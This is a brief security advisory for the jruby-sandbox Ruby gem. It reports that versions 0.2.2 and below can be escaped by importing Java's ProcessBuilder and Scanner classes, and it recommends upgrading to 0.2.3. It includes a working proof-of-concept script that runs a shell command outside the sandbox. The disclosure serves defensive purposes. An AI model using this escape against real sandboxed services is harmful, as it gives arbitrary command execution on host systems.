jruby-sandbox aims to allow safe execution of user given Ruby code within a JRuby [0] runtime. However via import of Java classes it is possible to circumvent those protections and execute arbitrary code outside the sandboxed environment. Versions 0.2.2 and below are affected.

[ Description ]
jruby-sandbox aims to allow safe execution of user given Ruby
code within a JRuby [0] runtime. However via import of Java
classes it is possible to circumvent those protections and
execute arbitrary code outside the sandboxed environment.

[ Example ]

require 'sandbox'
sand = Sandbox.safe
sand.activate!

begin
sand.eval("print `id`")
rescue Exception => e
puts "fail via Ruby ;)"
end
puts "Now for some Java"

sand.eval("Kernel.send :java_import, 'java.lang.ProcessBuilder'")
sand.eval("Kernel.send :java_import, 'java.util.Scanner'")
sand.eval("s = Java::java.util.Scanner.new( " +
"Java::java.lang.ProcessBuilder.new('sh','-c','id')" +
".start.getInputStream ).useDelimiter(\"\x00\").next")
sand.eval("print s")

[ Solution ]
Upgrade to version 0.2.3
